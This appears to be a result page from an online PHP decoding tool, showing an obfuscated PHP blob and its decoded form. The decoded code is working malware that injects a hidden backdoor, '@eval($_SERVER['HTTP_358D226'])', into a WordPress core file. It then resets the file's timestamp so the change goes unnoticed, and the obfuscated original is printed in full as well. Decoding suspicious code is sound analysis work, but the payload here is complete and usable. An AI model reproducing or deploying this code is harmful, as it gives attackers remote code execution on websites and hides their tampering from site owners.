Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb5swFP2eX+FJkUjUaoKmSRVN09ZmpXmU0CaNcZimCIwpBGMYmCQw9b/P..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo0NzoiL2hvbWUvVmNsaWVudHN2ZXJuYWxpcy93d3cvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfMzU4RDIyNltcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzM1OEQyMjYnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb5swFP2eX+FJkUjUaoKmSRVN09ZmpXmU0CaNcZimCIwpBGMYmCQw9b/PkGcf0uYP+Bqfc+69x7cWe3EvYi60qO9YnDSk+VMk64zH+vL6CheRPC4i//7CW9nGbAXDcWoZMHP64wsTDbO5sYlx3m05LbxyWtfcMtpLuw8DE2kCD+X5tL22+te+fhF0tCde6MvgUveHZyYyPVvlBPU8bNNNjqYxHlXniTOi6wAp/OYexg4pzK6htLGhyL+Rym1E1wz1hgLD8VBZ+2jmzaB642rF7HLyY5CP9/+h0FIVgds4JX8EBb9HbbTkzmjJz3A+uLKeolxvaR2tGHQGwQ11QjUd9SbuTIZTGMCpkTsDqE4eUaEp+u1jri3nDE2Dq8Gy9EYrvSk04Y1L2xjnceiI3p07uhL9FKMWXJt3qmzCLjfRxCvjOWpzwe1KzS81N2OY+xEDb92vpyRpgj+1GhCL+ikHjbqbUfpgce8c1NM85SS8ZSsR48ghYostzknCmuAryJhg+0KqIA3bSknncuGQEraVFXlL1XoaZQkmAu/6lCyeCV/giHHCeHrMtcP6LmjECXlehBbHXuNV/q1Ms6wW7FZCeJawLfXlIPDpVGFX7oEvguqGpP9Q2tbuMxwlCcF8Qp7JRvSQ8mSRkJhaWIwukcBnIK2saqPSOZC+f7OSpDpauXRq4N4MRtbTvR9VnXuxN6mElnRs+gPyaSH7ln7Kv3YPJSp46D8sbvV7Eb2+PojsVI+fd+ad2n+k/Y9v5VOH3A/3z17FJ88NzoAib2kZoz4L3o1CNSxx9tGwfNAEj7Ky4BPEIatAvNT+Ag==")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | d8b7fea7b9de971f3919024262718891 |
Eval Count | 1 |
Decode Time | 109 ms |